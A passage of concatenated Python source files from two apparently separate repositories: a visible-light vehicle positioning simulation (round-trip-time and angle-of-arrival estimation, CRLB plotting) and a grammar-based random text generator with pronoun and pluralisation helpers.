# updating and incrementing based on the phase shift pulses.
if s_gate[i] == 1:
if s_phi_hh[0][i] == 1:
M[0] += 1
if s_phi_hh[1][i] == 1:
M[1] += 1
update_flag = 1
else:
if update_flag == 1:
### BS: see above
# updated, reset
counts1.append(M[0])
counts2.append(M[1])
M[0] = 0
M[1] = 0
update_flag = 0
### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly
### and it also doesn't like measuring size of growing arrays since it requires consistent
### repetitive memory usage on (I guess) the heap, moving this part outsize, it's not a
### performance-related part anyhow, doesn't have to be jit'ted.
return counts1, counts2
# Converting distance information to coordinates.
def dist_to_pos(self, dm, delays):
l = self.car_dist
### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly
d1 = dm[0]
# obtaining the nearest count
d1_err = np.abs(self.c*delays[1]/2 - d1) # since the delays are from round trips
d1 = d1[d1_err == np.min(d1_err)][0]
### BS: numba doesn't like dictionaries since it's not LLVM-loop-optimization-friendly
d2 = dm[1];
# obtaining the nearest count
d2_err = np.abs(self.c*delays[0]/2 - d2)
d2 = d2[d2_err == np.min(d2_err)][0]
# extracting the coordinates using triangulation and distance measurements from both tx LEDs.
y = (d2**2 - d1**2 + l**2) / (2*l)
x = -np.sqrt(d2**2 - y**2)
return x, y
# Calculating distances and returning coordinates from round-trip flights.
def estimate(self, all_delays, H, noise_variance):
# delays for d11 and d12.
delay1 = all_delays[0][0] * 2
delay2 = all_delays[0][1] * 2
delays = [delay1, delay2]
# generating signals based on the obtained delays and noise variance.
s_e, s_r, s_h, s_gate = self.gen_signals(self.f, self.r, self.N, self.t, delays, noise_variance[0])
# scaling the signals, related to channel gain.
s_r[0] *= H[0][0]
s_r[1] *= H[0][1]
### BS: numba and the LLVM optimizer can't really handle varying size arrays well
### so we need to tell the size of the time array beforehand
### also, moved dm computation outside
length_time = np.size(self.t);
# clock frequency
fclk = 1/(2*self.dt)
# obtaining the estimated distances from the sent and received signals.
counts1, counts2 = self.rtof_estimate_dist(s_e, s_r, s_h, s_gate, self.f, self.r, self.N, self.dt, self.t, length_time)
size_tmp = np.size(counts1) # could equivalently be counts2
dm = np.zeros((2,size_tmp));
dm[0] = ((self.c/2) * (np.asarray(counts2) / ((self.r+1) * self.N * fclk)));
dm[1] = ((self.c/2) * (np.asarray(counts1) / ((self.r+1) * self.N * fclk)));
# obtaining the coordinates from measured distances.
x1, y1 = self.dist_to_pos(dm, delays)
# delays for d21 and d22.
delay1 = all_delays[1][0] * 2
delay2 = all_delays[1][1] * 2
delays = [delay1, delay2]
# generating signals based on the obtained delays and noise variance.
s_e, s_r, s_h, s_gate = self.gen_signals(self.f, self.r, self.N, self.t, delays, noise_variance[1])
# scaling the signals, related to channel gain.
s_r[0] *= H[1][0]
s_r[1] *= H[1][1]
# obtaining the estimated distances from the sent and received signals.
counts1, counts2 = self.rtof_estimate_dist(s_e, s_r, s_h, s_gate, self.f, self.r, self.N, self.dt, self.t, length_time)
size_tmp = np.size(counts1) # could equivalently be counts2
dm = np.zeros((2,size_tmp));
dm[0] = ((self.c/2) * (np.asarray(counts2) / ((self.r+1) * self.N * fclk)));
dm[1] = ((self.c/2) * (np.asarray(counts1) / ((self.r+1) * self.N * fclk)));
# obtaining the coordinates from measured distances.
x2, y2 = self.dist_to_pos(dm, delays)
# returning the resulting transmitter vehicle coordinates.
tx_pos = np.array([[x1, x2], [y1, y2]]) # to obtain separate axes
return tx_pos | {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,989 | fsahbaz/elec491 | refs/heads/main | /Bound_Estimation/matfile_read.py | from mat4py import loadmat
from scipy.io import loadmat, matlab
import numpy as np
def load_mat(filename):
"""
This function should be called instead of direct scipy.io.loadmat
as it cures the problem of not properly recovering python dictionaries
from mat files. It calls the function check keys to cure all entries
which are still mat-objects
"""
def _check_vars(d):
"""
Checks if entries in dictionary are mat-objects. If yes
todict is called to change them to nested dictionaries
"""
for key in d:
if isinstance(d[key], matlab.mio5_params.mat_struct):
d[key] = _todict(d[key])
elif isinstance(d[key], np.ndarray):
d[key] = _toarray(d[key])
return d
def _todict(matobj):
"""
A recursive function which constructs from matobjects nested dictionaries
"""
d = {}
for strg in matobj._fieldnames:
elem = matobj.__dict__[strg]
if isinstance(elem, matlab.mio5_params.mat_struct):
d[strg] = _todict(elem)
elif isinstance(elem, np.ndarray):
d[strg] = _toarray(elem)
else:
d[strg] = elem
return d
def _toarray(ndarray):
"""
A recursive function which constructs ndarray from cellarrays
(which are loaded as numpy ndarrays), recursing into the elements
if they contain matobjects.
"""
if ndarray.dtype != 'float64':
elem_list = []
for sub_elem in ndarray:
if isinstance(sub_elem, matlab.mio5_params.mat_struct):
elem_list.append(_todict(sub_elem))
elif isinstance(sub_elem, np.ndarray):
elem_list.append(_toarray(sub_elem))
else:
elem_list.append(sub_elem)
return np.array(elem_list)
else:
return ndarray
data = loadmat(filename, struct_as_record=False, squeeze_me=True, mat_dtype=False)
return _check_vars(data)
def rec_func(data, n=0):
"""
This function is to print structure of the recursive dictionary by displaying their names in a tree fashion
:param data: dictionary itself
:param n: the depth we will start with, set to 0, (for recursion)
:return:
"""
for k in data.keys():
str = ""
for i in range(n):
str += "\t"
print(str, k)
if isinstance(data[k], dict):
rec_func(data[k], n + 1)
| {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,990 | fsahbaz/elec491 | refs/heads/main | /Bound_Estimation/plot_theoretical.py | import matplotlib.pyplot as plt
import numpy as np
from glob import glob
from matfile_read import load_mat
from config_est import bound_est_data
def deviation_from_actual_value(array, actual_val):
return np.sqrt(np.mean(abs(array - actual_val) ** 2, axis=0))
def main():
dir = bound_est_data.plot.directory
files = glob(dir + '*/3/')
x_pose, y_pose = [], []
x_becha, y_becha = [], []
x_roberts, y_roberts = [], []
dp = bound_est_data.params.number_of_skip_data
print(len(files))
# obtaining results of various simulations, to check the standard deviation from them.
for folder_name in files:
x_pose.append(np.loadtxt(folder_name+'x_pose.txt', delimiter=','))
y_pose.append(np.loadtxt(folder_name+'y_pose.txt', delimiter=','))
x_roberts.append(np.loadtxt(folder_name+'x_roberts.txt', delimiter=','))
y_roberts.append(np.loadtxt(folder_name+'y_roberts.txt', delimiter=','))
x_becha.append(np.loadtxt(folder_name+'x_becha.txt', delimiter=','))
y_becha.append(np.loadtxt(folder_name+'y_becha.txt', delimiter=','))
# loading the necessary data
data = load_mat('../SimulationData/v2lcRun_sm3_comparisonSoA.mat')
time = data['vehicle']['t']['values'][::dp]
tx1_x = data['vehicle']['target_relative']['tx1_qrx4']['y'][::dp]
tx1_y = data['vehicle']['target_relative']['tx1_qrx4']['x'][::dp]
tx2_x = data['vehicle']['target_relative']['tx2_qrx3']['y'][::dp]
tx2_y = data['vehicle']['target_relative']['tx2_qrx3']['x'][::dp]
# loading Cramer-Rao Lower Bound estimation results
pose_x1_crlb = np.loadtxt('Data/aoa/crlb_x1.txt', delimiter=',')
becha_x1_crlb = np.loadtxt('Data/rtof/crlb_x1.txt', delimiter=',')
pose_x2_crlb = np.loadtxt('Data/aoa/crlb_x2.txt', delimiter=',')
becha_x2_crlb = np.loadtxt('Data/rtof/crlb_x2.txt', delimiter=',')
roberts_x_crlb = np.loadtxt('Data/tdoa/crlb_x.txt', delimiter=',')
pose_y1_crlb = np.loadtxt('Data/aoa/crlb_y1.txt', delimiter=',')
becha_y1_crlb = np.loadtxt('Data/rtof/crlb_y1.txt', delimiter=',')
pose_y2_crlb = np.loadtxt('Data/aoa/crlb_y2.txt', delimiter=',')
becha_y2_crlb = np.loadtxt('Data/rtof/crlb_y2.txt', delimiter=',')
roberts_y_crlb = np.loadtxt('Data/tdoa/crlb_y.txt', delimiter=',')
# plotting the results to compare and saving the figures
plt.close("all")
plot1 = plt.figure(1)
becha_x1, = plt.plot(time, becha_x1_crlb)
soner_x1, = plt.plot(time, pose_x1_crlb)
ten_cm_line, = plt.plot(time, 0.1*np.ones(100),'--')
roberts_x1, = plt.plot(time, roberts_x_crlb)
plt.ylabel('Standard Deviation (m)')
plt.xlabel('Time (s)')
plt.title('CRLB for x1')
plt.legend([becha_x1, soner_x1, roberts_x1, ten_cm_line], ['RToF', 'AoA', 'TDoA', '10 cm line'])
plt.ylim(1e-5,10)
plt.yscale('log')
plt.savefig('crlb_x1.png')
plot2 = plt.figure(2)
becha_y1, = plt.plot(time, becha_y1_crlb)
soner_y1, = plt.plot(time, pose_y1_crlb)
ten_cm_line, = plt.plot(time, 0.1*np.ones(100),'--')
roberts_y1, = plt.plot(time, roberts_y_crlb)
plt.ylabel('Standard Deviation (m)')
plt.xlabel('Time (s)')
plt.title('CRLB for y1')
plt.legend([becha_y1, soner_y1, roberts_y1, ten_cm_line], ['RToF', 'AoA', 'TDoA', '10 cm line'])
plt.ylim(1e-5,10)
plt.yscale('log')
plt.savefig('crlb_y1.png')
plot3 = plt.figure(3)
becha_x2, = plt.plot(time, becha_x2_crlb)
soner_x2, = plt.plot(time, pose_x2_crlb)
ten_cm_line, = plt.plot(time, 0.1*np.ones(100),'--')
plt.ylabel('Standard Deviation (m)')
plt.xlabel('Time (s)')
plt.title('CRLB for x2')
plt.legend([becha_x2, soner_x2, ten_cm_line], ['RToF', 'AoA', '10 cm line'])
plt.ylim(1e-5,10)
plt.yscale('log')
plt.savefig('crlb_x2.png')
plot4 = plt.figure(4)
becha_y2, = plt.plot(time, becha_y2_crlb)
soner_y2, = plt.plot(time, pose_y2_crlb)
ten_cm_line, = plt.plot(time, 0.1*np.ones(100),'--')
plt.ylabel('Standard Deviation (m)')
plt.xlabel('Time (s)')
plt.title('CRLB for y2')
plt.legend([becha_y2, soner_y2, ten_cm_line], ['RToF', 'AoA', '10 cm line'])
plt.ylim(1e-5,10)
plt.yscale('log')
plt.savefig('crlb_y2.png')
x1_becha, x2_becha = np.asarray(x_becha)[:,:,0], np.asarray(x_becha)[:,:,1]
y1_becha, y2_becha = np.asarray(y_becha)[:,:,0], np.asarray(y_becha)[:,:,1]
print(np.shape(x1_becha))
print(np.shape(x2_becha))
print(np.shape(y1_becha))
print(np.shape(y2_becha))
plot5 = plt.figure(5)
th_becha_x1, = plt.plot(time, becha_x1_crlb, '--')
th_becha_x2, = plt.plot(time, becha_x2_crlb, '--')
th_becha_y1, = plt.plot(time, becha_y1_crlb, '--')
th_becha_y2, = plt.plot(time, becha_y2_crlb, '--')
sim_becha_x1, = plt.plot(time, deviation_from_actual_value(x1_becha, -tx1_x))
sim_becha_x2, = plt.plot(time, deviation_from_actual_value(x2_becha, -tx2_x))
sim_becha_y1, = plt.plot(time, deviation_from_actual_value(y1_becha, tx1_y))
sim_becha_y2, = plt.plot(time, deviation_from_actual_value(y2_becha, tx2_y))
plt.ylabel('Error (m)')
plt.xlabel('Time (s)')
plt.title('CRLB vs. Simulation Results for RToF')
plt.legend([th_becha_x1, th_becha_x2, th_becha_y1, th_becha_y2, sim_becha_x1 , sim_becha_x2, sim_becha_y1,
sim_becha_y2], ['x1 (theoretical)', 'x2 (theoretical)', 'y1 (theoretical)', 'y2 (theoretical)',
'x1 (simulation)', 'x2 (simulation)', 'y1 (simulation)', 'y2 (simulation)'],
ncol=4,loc=3)
plt.ylim(1e-5,2)
plt.yscale('log')
plt.savefig('crlb_becha.png')
x1_roberts, x2_roberts = np.asarray(x_roberts)[:,:,0], np.asarray(x_roberts)[:,:,1]
y1_roberts, y2_roberts = np.asarray(y_roberts)[:,:,0], np.asarray(y_roberts)[:,:,1]
plot6 = plt.figure(6)
th_roberts_x1, = plt.plot(time, roberts_x_crlb, '--')
th_roberts_y1, = plt.plot(time, roberts_y_crlb, '--')
sim_roberts_x1, = plt.plot(time, deviation_from_actual_value(x1_roberts, -tx1_x))
sim_roberts_y1, = plt.plot(time, deviation_from_actual_value(y1_roberts, tx1_y))
plt.ylabel('Error (m)')
plt.xlabel('Time (s)')
plt.title('CRLB vs. Simulation Results for TDoA')
plt.legend([th_roberts_x1, th_roberts_y1, sim_roberts_x1 , sim_roberts_y1],
['x1 (theoretical)', 'y1 (theoretical)', 'x1 (simulation)', 'y1 (simulation)'],ncol=2,loc=3)
plt.ylim(1e-5,2)
plt.yscale('log')
plt.savefig('crlb_roberts.png')
x1_soner, x2_soner = np.asarray(x_pose)[:,:,0], np.asarray(x_pose)[:,:,1]
y1_soner, y2_soner = np.asarray(y_pose)[:,:,0], np.asarray(y_pose)[:,:,1]
plot7 = plt.figure(7)
th_soner_x1, = plt.plot(time, pose_x1_crlb, '--')
th_soner_x2, = plt.plot(time, pose_x2_crlb, '--')
th_soner_y1, = plt.plot(time, pose_y1_crlb, '--')
th_soner_y2, = plt.plot(time, pose_y2_crlb, '--')
sim_soner_x1, = plt.plot(time, deviation_from_actual_value(x1_soner, -tx1_x))
sim_soner_x2, = plt.plot(time, deviation_from_actual_value(x2_soner, -tx2_x))
sim_soner_y1, = plt.plot(time, deviation_from_actual_value(y1_soner, tx1_y))
sim_soner_y2, = plt.plot(time, deviation_from_actual_value(y2_soner, tx2_y))
plt.ylabel('Error (m)')
plt.xlabel('Time (s)')
plt.title('CRLB vs. Simulation Results for AoA')
plt.legend([th_soner_x1, th_soner_x2, th_soner_y1, th_soner_y2, sim_soner_x1 , sim_soner_x2, sim_soner_y1,
sim_soner_y2], ['x1 (theoretical)', 'x2 (theoretical)', 'y1 (theoretical)', 'y2 (theoretical)',
'x1 (simulation)', 'x2 (simulation)', 'y1 (simulation)', 'y2 (simulation)'],
ncol=4,loc=3)
plt.ylim(1e-5,2)
plt.yscale('log')
plt.savefig('crlb_soner.png')
plt.show()
if __name__ == "__main__":
main() | {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,991 | fsahbaz/elec491 | refs/heads/main | /VLP_methods/aoa.py | from Bound_Estimation.matfile_read import load_mat, rec_func
import math
import numpy as np
"""
*: coordinate center of cari
|--------|
| car1 |
|-------*|
|
y | |---------|
| | car2 |
|-------------------|*--------|
d
"""
# loading the coefficients of piecewise continous transfer function
# breaks: the limits where corresponding coeeficients valid.
# coefs: corresponding coeefficients within that boundary.
data = load_mat('VLP_methods/aoa_transfer_function.mat')
rec_func(data, 0)
breaks = np.array(data['transfer_function']['breaks'])
coefficients = np.array(data['transfer_function']['coefs'])
class AoA:
def __init__(self, a_m=2, f_m1=1000000, f_m2=2000000, measure_dt=5e-6, vehicle_dt=1e-2, w0=500, hbuf=1000,
car_dist=1.6, fov=80):
# this where parameters are initialized according to input or set values.
self.dt = measure_dt
self.t = np.arange(0, vehicle_dt - self.dt, self.dt)
self.w1 = 2 * math.pi * f_m1
self.w2 = 2 * math.pi * f_m2
self.a_m = a_m
self.w0 = w0
self.hbuf = hbuf
self.car_dist = car_dist
self.e_angle = fov
# %%
def estimate(self, delays, H_q, noise_variance):
# In this function according to voltage readings in each quadrant and noise theta and pose estimation is calculated.
# signal generated according to frequencies.
s1_w1 = self.a_m * np.cos(self.w1 * self.t)
s2_w2 = self.a_m * np.cos(self.w2 * self.t)
# after going through ADC at receiver
r1_w1_a = H_q[0][0][0] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
noise_variance[0][0][0]), len(self.t))
r1_w1_b = H_q[0][0][1] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
noise_variance[0][0][1]), len(self.t))
r1_w1_c = H_q[0][0][2] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
noise_variance[0][0][2]), len(self.t))
r1_w1_d = H_q[0][0][3] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
noise_variance[0][0][3]), len(self.t))
r2_w1_a = H_q[0][1][0] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
noise_variance[0][1][0]), len(self.t))
r2_w1_b = H_q[0][1][1] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
noise_variance[0][1][1]), len(self.t))
r2_w1_c = H_q[0][1][2] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
noise_variance[0][1][2]), len(self.t))
r2_w1_d = H_q[0][1][3] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
noise_variance[0][1][3]), len(self.t))
r1_w2_a = H_q[1][0][0] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
noise_variance[1][0][0]), len(self.t))
r1_w2_b = H_q[1][0][1] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
noise_variance[1][0][1]), len(self.t))
r1_w2_c = H_q[1][0][2] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
noise_variance[1][0][2]), len(self.t))
r1_w2_d = H_q[1][0][3] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
noise_variance[1][0][3]), len(self.t))
r2_w2_a = H_q[1][1][0] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
noise_variance[1][1][0]), len(self.t))
r2_w2_b = H_q[1][1][1] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
noise_variance[1][1][1]), len(self.t))
r2_w2_c = H_q[1][1][2] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
noise_variance[1][1][2]), len(self.t))
r2_w2_d = H_q[1][1][3] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
noise_variance[1][1][3]), len(self.t))
# eps readings will be calculated, so we initalized them to be empty np array.
eps_a_s1, eps_b_s1, eps_c_s1, eps_d_s1, phi_h_s1 = np.array([0., 0.]), np.array(
[0., 0.]), np.array([0., 0.]), np.array([0., 0.]), np.array([0., 0.])
eps_a_s2, eps_b_s2, eps_c_s2, eps_d_s2, phi_h_s2 = np.array([0., 0.]), np.array(
[0., 0.]), np.array([0., 0.]), np.array([0., 0.]), np.array([0., 0.])
theta_l_r = np.array([[0., 0.], [0., 0.]]).astype(float)
# the calculation of epsilon values for each quadrant. s1, s2 means right and left light.
eps_a_s1[0] = np.sum(
np.dot(r1_w1_a[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_b_s1[0] = np.sum(
np.dot(r1_w1_b[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_c_s1[0] = np.sum(
np.dot(r1_w1_c[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_d_s1[0] = np.sum(
np.dot(r1_w1_d[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_a_s1[1] = np.sum(
np.dot(r2_w1_a[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_b_s1[1] = np.sum(
np.dot(r2_w1_b[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_c_s1[1] = np.sum(
np.dot(r2_w1_c[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_d_s1[1] = np.sum(
np.dot(r2_w1_d[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_a_s2[0] = np.sum(
np.dot(r1_w2_a[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_b_s2[0] = np.sum(
np.dot(r1_w2_b[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_c_s2[0] = np.sum(
np.dot(r1_w2_c[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_d_s2[0] = np.sum(
np.dot(r1_w2_d[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_a_s2[1] = np.sum(
np.dot(r2_w2_a[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_b_s2[1] = np.sum(
np.dot(r2_w2_b[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_c_s2[1] = np.sum(
np.dot(r2_w2_c[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_d_s2[1] = np.sum(
np.dot(r2_w2_d[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
# phi values will be used to estimate thetas.
phi_h_s1[0] = ((eps_b_s1[0] + eps_d_s1[0]) - (eps_a_s1[0] + eps_c_s1[0])) / (
eps_a_s1[0] + eps_b_s1[0] + eps_c_s1[0] + eps_d_s1[0])
phi_h_s1[1] = ((eps_b_s1[1] + eps_d_s1[1]) - (eps_a_s1[1] + eps_c_s1[1])) / (
eps_a_s1[1] + eps_b_s1[1] + eps_c_s1[1] + eps_d_s1[1])
phi_h_s2[0] = ((eps_b_s2[0] + eps_d_s2[0]) - (eps_a_s2[0] + eps_c_s2[0])) / (
eps_a_s2[0] + eps_b_s2[0] + eps_c_s2[0] + eps_d_s2[0])
phi_h_s2[1] = ((eps_b_s2[1] + eps_d_s2[1]) - (eps_a_s2[1] + eps_c_s2[1])) / (
eps_a_s2[1] + eps_b_s2[1] + eps_c_s2[1] + eps_d_s2[1])
# transfer function takes calculated phi and returns theta. theta_l_r[0] means s1, theta_l_r[:][0] means left.
theta_l_r[0][0] = self.transfer_function(phi_h_s1[0]) * np.pi / 180
theta_l_r[0][1] = self.transfer_function(phi_h_s1[1]) * np.pi / 180
theta_l_r[1][0] = self.transfer_function(phi_h_s2[0]) * np.pi / 180
theta_l_r[1][1] = self.transfer_function(phi_h_s2[1]) * np.pi / 180
# pose estimations is made here with the usage of theta_l_r
diff_1 = theta_l_r[0][0] - theta_l_r[0][1]
t_x_1 = self.car_dist * (
1 + (math.sin(theta_l_r[0][1]) * math.cos(theta_l_r[0][0])) / (math.sin(diff_1))) if math.sin(
diff_1) != 0 else None
t_y_1 = self.car_dist * (
(math.cos(theta_l_r[0][1]) * math.cos(theta_l_r[0][0])) / (math.sin(diff_1))) if math.sin(
diff_1) != 0 else None
diff_2 = theta_l_r[1][0] - theta_l_r[1][1]
t_x_2 = self.car_dist * (
1 + (math.sin(theta_l_r[1][1]) * math.cos(theta_l_r[1][0])) / (math.sin(diff_2))) if math.sin(
diff_2) != 0 else None
t_y_2 = self.car_dist * (
(math.cos(theta_l_r[1][1]) * math.cos(theta_l_r[1][0])) / (math.sin(diff_2))) if math.sin(
diff_2) != 0 else None
# this change of coordinates made for plotting in the same frame with other VLP_methods.
tx_pos = self.change_cords(np.array([[t_x_1, t_y_1], [t_x_2, t_y_2]]))
return tx_pos
def find_nearest(self, array, value):
# takes the array and returns the index of nearest one from specified value.
array = np.asarray(array)
idx = (np.abs(array - value)).argmin()
return idx, array[idx]
def transfer(self, coefficient, x, x1):
# this is equation for piecewise transfer functipn.
return (coefficient[0] * (x - x1) ** 3) + (coefficient[1] * (x - x1) ** 2) + (coefficient[2] * (x - x1) ** 1) + \
coefficient[3]
def transfer_function(self, phi):
# since transfer function valid in boundary, we need to check that it is valid or not. IF it is higher than
# limit it returns the max. boundary
phi = 1.0000653324773283 if phi >= 1.0000653324773283 else phi
phi = -1.0000980562352184 if phi <= -1.0000980562352184 else phi
idx, lower_endpoint = self.find_nearest(breaks, phi)
coefficient = coefficients[idx]
return self.transfer(coefficient, phi, lower_endpoint)
def change_cords(self, txpos):
# changing coordinates as x->-y, y->x
t_tx_pos = np.copy(txpos)
t_tx_pos[0][0] = -txpos[0][1]
t_tx_pos[1][0] = txpos[0][0]
t_tx_pos[0][1] = -txpos[1][1]
t_tx_pos[1][1] = txpos[1][0]
return t_tx_pos
| {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,996 | YuhanLiin/HtN-2017 | refs/heads/master | /test.py | from symbols import Novel
print(Novel.generate()) | {"/test.py": ["/symbols.py"], "/helpers.py": ["/grammar.py"], "/symbols.py": ["/grammar.py", "/helpers.py"], "/main.py": ["/symbols.py"]} |
53,997 | YuhanLiin/HtN-2017 | refs/heads/master | /helpers.py | from grammar import join
def pluralize(word):
if word.endswith('ay'):
return word + 's'
elif word.endswith('s') or word.endswith('ch'):
return word + 'es'
elif word.endswith('y'):
return word[:-1] + 'ies'
return word + 's'
def pluralize_all(words):
return [pluralize(word) for word in words]
def verbs_to_3rd(words):
out = []
for word in words:
if word == 'have':
word = 'has'
else:
word = pluralize(word)
out.append(word)
return out
pronoun_subj_to_obj = {
'I': ['me', 'us'],
'you': ['you', 'y\'all'],
'we': ['me', 'us'],
'y\'all': ['you', 'y\'all'],
'he': ['him'],
'she': ['her'],
'they': ['them'],
'it': ['it']
}
pronoun_to_self = {
'I': 'myself',
'you': 'yourself',
'he': 'himself',
'she': 'herself',
'they': 'themselves',
'it': 'itself',
'we': 'ourselves',
'y\'all': 'yourselves'
}
# Return self version of pronoun object if there is a subj/obj conflict (he-him, I-me)
def resolve_pronouns(subj, obj):
if obj in pronoun_subj_to_obj.get(subj, []):
return pronoun_to_self[subj]
return obj
# Prevents phrases like "I hit me" and "He hit him" by returning function that replace object with the "self" version
# s and o are indices of subject and verb in word list
def replace_pronouns(s, o):
def replacer (words):
words[o] = resolve_pronouns(words[s], words[o])
return replacer
def replace_you(o):
def replacer(words):
words[o] = resolve_pronouns('you', words[o])
words[o] = resolve_pronouns('y\'all', words[o])
return replacer
def deleteIf(a, match, b):
def deleter(words):
if (words[a] in match): words[b] = ''
return deleter
def prevent_collection_repeat(text):
words = text.split(' , ')
if len(words) > 1:
seen = set()
out = []
for word in words:
if word not in seen:
out.append(word)
seen.add(word)
if (word == 'we' or word == 'I' or word == 'me'):
seen.update(['I', 'we', 'me'])
elif (word == 'you' or 'y\'all'):
seen.update(['you', 'y\'all'])
if len(out) <= 2:
return ' and '.join(out)
return ' , '.join(out[:-1]) + ' , and ' + out[-1]
return text
import re
speech = re.compile(r'" (.*) "')
def format_quotes(text):
match = speech.search(text)
if match:
return re.sub(speech, '"%s"' % (match.groups(0)), text)
return text | {"/test.py": ["/symbols.py"], "/helpers.py": ["/grammar.py"], "/symbols.py": ["/grammar.py", "/helpers.py"], "/main.py": ["/symbols.py"]} |
53,998 | YuhanLiin/HtN-2017 | refs/heads/master | /grammar.py | from random import randint, random
from bisect import bisect_left
no_op = lambda x:x
def join(lis):
string = ''
for s in lis:
if s != '':
string += ' ' + s
return string[1:]
class Many():
def __init__(self, rule, lo, hi):
self.rule = rule
self.low = lo
self.high = hi
self.distribution = None
def decide_prod(self):
if not self.distribution:
return randint(self.low, self.high)
return bisect_left(self.distribution, random()) + self.low
def generate(self): # Pass in rule in case a self reference is made
output = []
if (type(self.rule) == str):
for i in range(self.decide_prod()):
output.append(self.rule)
else:
for i in range(self.decide_prod()):
output.append(self.rule.generate())
return join(output)
# Need to be same len as self.high - self.low
def set_distr(self, *distribution):
self.distribution = []
prev = 0
for chance in distribution:
prev = prev + chance
self.distribution.append(prev)
return self
def maybe(rule, no=None, yes=None):
many = Many(rule, 0, 1)
if no: many = many.set_distr(no, yes)
return many
# Can contain strings, Manys, and Rules
class Production():
def __init__(self, *symbols):
self.symbols = symbols
self.pre_procs = []
def generate(self):
output = []
for symbol in self.symbols:
output.append(gen_token(symbol))
for proc in self.pre_procs:
proc(output)
return join(output)
# Mutates output list on the spot with all symbols rendered
def add_pre(self, func):
self.pre_procs.append(func)
return self
# A rule consists of productions, strings, and Manys.
class Rule():
@staticmethod
def declare_all(n):
return [Rule() for _ in range(n)]
def __init__(self):
self.productions = []
self.post_procs = []
self.distribution = None
# Defines all productions
def define(self, *productions):
self.productions = productions
return self
def clone(self):
copy = Rule()
copy.productions = self.productions
copy.post_procs = list(self.post_procs)
copy.distribution = self.distribution
return copy
def transform(self, process):
self.productions = process(self.productions)
return self
def add_post(self, func):
self.post_procs.append(func)
return self
# Takes list of floats that add up to 1 representing chance of each production being generated
def set_distr(self, *distribution):
self.distribution = []
prev = 0
